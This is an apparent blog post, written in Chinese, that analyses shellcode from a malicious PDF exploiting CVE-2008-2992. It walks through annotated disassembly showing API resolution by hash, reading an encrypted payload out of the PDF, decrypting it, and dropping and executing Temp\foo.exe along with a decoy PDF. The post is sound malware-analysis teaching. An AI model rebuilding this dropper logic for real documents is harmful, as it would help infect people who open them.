【逆向】PDF CVE-2008-2992 ShellCode分析

上一篇文章里提取的shellcode样本,简单分析下吧,主要是对shellcode分析方法步骤做一个简单记录。

之前文章链接:https://www.cnblogs.com/SunsetR/p/11270981.html

分析方法:

使用IDA和OD配合分析,IDA可以查看主体流程,标注识别一定代码后可以使用Graph view视图进行查看。去除花指令等反反汇编代码后可以F5查看伪代码。而使用OD则可以动态调试诸如解析函数Hash,模拟GetProcAddress获取函数地址等功能。

分析时切记以下几点:

1、shellcode中包含了代码和数据,分析时需要手动识别标注它们。

2、为了节省空间,shellcode通常使用Hash值来计算API名称。

3、为了躲避杀软,shellcode免杀处理时通常会使用加密算法进行加密,执行时自解密。

4、为了完成更多功能,shellcode通常会使用多种技术来获取Kernel32.dll基址,进行动态函数调用。

关注以上几点,shellcode分析时往往能够事半功倍。

下面使用OD和IDA分别加载shellcode。

 IDA在执行分析时,将地址0-5C处的内容识别为数据,你可以使用快捷键“C”将它们转换为代码。假如你不能确定数据或代码,可以结合上下文进行分析。

 进入sub_17B函数,首先取消(Undefine)IDA错误识别的函数sub_17C,使用快捷键“C”将17C处重定义为代码,选中sub_17B重新编辑函数,将“End address”修改为“00000321”点击OK。

修改后右键选择“Graph view”(空格)视图显示。

sub_17B函数第一条指令使用call/pop指令组合获取并保存了call指令的返回地址,这是shellcode常用操作,我们需要重点关注对该地址的内存操作。

1 seg000:0000017B  pop     esi                //esi = call指令返回地址
2 seg000:0000017C  mov     [ebp-14h], esi
3 seg000:0000017F  mov     edi, esi
4 seg000:00000181  mov     ebx, esi           //以上分别保存了call指令返回地址
5 seg000:00000183  call    sub_CA

sub_CA函数使用FS:[30]TEB,PEB结构体获取Kernel32.dll基址。(win7系统下实际获取的是KernelBa.dll基址,为了便于后续分析,手动修改返回值为Kernel32.dll基址即可)。

另外IDA中可以通过“Type libraries”菜单(shift+F11)手动添加依赖库和标准结构体进行标注(Structure offset),标注后代码将更容易阅读理解。

 1 seg000:000000CA                 push    esi
 2 seg000:000000CB                 xor     eax, eax
 3 seg000:000000CD                 mov     eax, fs:[eax+30h]
 4 seg000:000000D1                 test    eax, eax
 5 seg000:000000D3                 js      short loc_E4
 6 seg000:000000D5                 mov     eax, [eax+0Ch]
 7 seg000:000000D8                 mov     esi, [eax+1Ch]
 8 seg000:000000DB                 lodsd
 9 seg000:000000DC                 mov     eax, [eax+8]
10 seg000:000000DF                 jmp     loc_E9
11 seg000:000000E4 loc_E4:                                 
12 seg000:000000E4                 jmp     loc_E4
13 seg000:000000E9 loc_E9:                                 
14 seg000:000000E9                 pop     esi
15 seg000:000000EA                 retn

接下来的代码通过call指令返回地址获取函数名称Hash,然后通过sub_7E函数循环获取函数实际调用地址。并将获取到的函数地址,按顺序写回call指令返回地址。该操作一共获取了15个API地址。

 1 seg000:00000183  call    myGetKernelBase    
 2 seg000:00000188  mov     [ebp-4], eax       //保存Kernel32基址
 3 seg000:0000018B  mov     ecx, 0Eh           //循环14次
 4 seg000:00000190  loc_190:                                
 5 seg000:00000190  lodsd                      
 6 seg000:00000191  push    eax                //名称Hash
 7 seg000:00000192  push    dword ptr [ebp-4]  //KernelBase
 8 seg000:00000195  call    sub_7E             //获取名称Hash对应函数地址
 9 seg000:0000019A  stosd                      //写回call指令返回地址
10 seg000:0000019B  loop    loc_190            //循环执行
11 seg000:0000019D  push    32336Ch
12 seg000:000001A2  push    6C656873h          //通过栈拼接字符串"shell32"
13 seg000:000001A7  mov     eax, esp
14 seg000:000001A9  push    eax
15 seg000:000001AA  call    dword ptr [ebx]    //LoadLibraryA 获取shell32基址
16 seg000:000001AC  xchg    eax, ecx
17 seg000:000001AD  lodsd
18 seg000:000001AE  push    eax                //nameHash
19 seg000:000001AF  push    ecx                //dllBase
20 seg000:000001B0  call    sub_7E             //获取名称Hash对应函数地址
21 seg000:000001B5  stosd                      

 

接下来代码遍历文件句柄,通过获取文件大小来校验是否是打开的PDF文件,所以在调试分析shellcode时需要将PDF文件一同加载到内存中。

 1 seg000:000001B6  xor     esi, esi
 2 seg000:000001B8  mov     ebx, [ebp-14h]      //ebx = call指令返回地址
 3 seg000:000001BB  loc_1BB:                                 
 4 seg000:000001BB  add     esi, 4              
 5 seg000:000001C1  lea     eax, [ebp-8]        
 6 seg000:000001C4  push    eax                 
 7 seg000:000001C5  push    esi                 
 8 seg000:000001C6  call    dword ptr [ebx+1Ch] //GetFileSize
 9 seg000:000001C9  cmp     eax, [ebx+3Ch]      //与返回地址+偏移3C处的文件大小比较
10 seg000:000001CC  jnz     short loc_1BB       //如果文件大小不等于“C602”,循环执行

获取PDF文件句柄后,通过之前获取的“GlobalAlloc”API动态申请内存空间,并从PDF文件开头106F偏移处读取A000大小的数据到申请的缓冲区内。缓冲区大小从call指令返回地址偏移0x40处获取(nSize = A000)。

 1 seg000:000001CE  mov     [ebp-8], esi          //保存pdf文件句柄
 2 seg000:000001D1  xor     edx, edx               
 3 seg000:000001D3  push    dword ptr [ebx+44h]   //Buff Size
 4 seg000:000001D6  push    edx                   
 5 seg000:000001D7  call    dword ptr [ebx+30h]   //GlobalA1loc
 6 seg000:000001DA  test    eax, eax               
 7 seg000:000001DC  jz      loc_313               
 8 seg000:000001E2  mov     [ebp-0Ch], eax        //保存地址
 9 seg000:000001E5  xor     edx, edx               
10 seg000:000001E7  push    edx                   //FILE_BEGIN
11 seg000:000001E8  push    edx                   
12 seg000:000001E9  push    dword ptr [ebx+40h]   //offset 106F
13 seg000:000001EC  push    dword ptr [ebp-8]     //hFile
14 seg000:000001EF  call    dword ptr [ebx+20h]   //SetFilePointer
15 seg000:000001F2  push    dword ptr [ebx+44h]   //Buff size
16 seg000:000001F5  push    dword ptr [ebp-0Ch]   //Buff
17 seg000:000001F8  push    dword ptr [ebp-8]     //hFile
18 seg000:000001FB  push    dword ptr [ebx+24h]   //ReadFile
19 seg000:000001FE  call    sub_13D               //读取文件数据到BUff

获取并拼接Temp\foo.exe路径,解密PDF中获取的Buff数据,将解密后的数据写入foo.exe文件

 1 seg000:00000203  xor     eax, eax                      
 2 seg000:00000205  lea     edi, [ebp-124h]              
 3 seg000:0000020B  mov     ecx, 40h ; '@'                  
 4 seg000:00000210  rep stosd                            //初始化 [ebp-124h]
 5 seg000:00000212  lea     edi, [ebp-124h]              
 6 seg000:00000218  push    edi                          
 7 seg000:00000219  push    100h                          
 8 seg000:0000021E  call    dword ptr [ebx+10h]          //GetTempPathA
 9 seg000:00000221  xor     eax, eax                      
10 seg000:00000223  lea     edi, [ebp-124h]              
11 seg000:00000229  repne scasb                          //获取temp路径结尾
12 seg000:0000022B  dec     edi                          
13 seg000:0000022C  mov     [ebp-1Ch], edi                  
14 seg000:0000022F  mov     dword ptr [edi], 2E6F6F66h      
15 seg000:00000235  mov     dword ptr [edi+4], 657865h   //在temp路径后追加foo.exe
16 seg000:0000023C  mov     ebx, [ebp-14h]                  
17 seg000:0000023F  lea     eax, [ebp-124h]              
18 seg000:00000245  push    eax                          //temp\foo.exe
19 seg000:00000246  push    4Ah ; 'J'                    //key
20 seg000:0000024B  push    dword ptr [ebx+44h]          //BuffSize
21 seg000:0000024E  push    dword ptr [ebp-0Ch]          //Buff
22 seg000:00000251  push    ebx                          //返回地址
23 seg000:00000252  call    sub_EB                       //解密Buff 写temp\foo.exe

 

创建进程,启用foo.exe程序。

 重复之前操作,申请新的缓冲区,从PDF开头偏移0xB06F处读取144E大小数据到缓冲区,使用相同方法解密数据,并创建Temp\bar.pdf执行。

posted @ 2019-07-31 18:05  SunsetR  阅读(714)  评论(0编辑  收藏  举报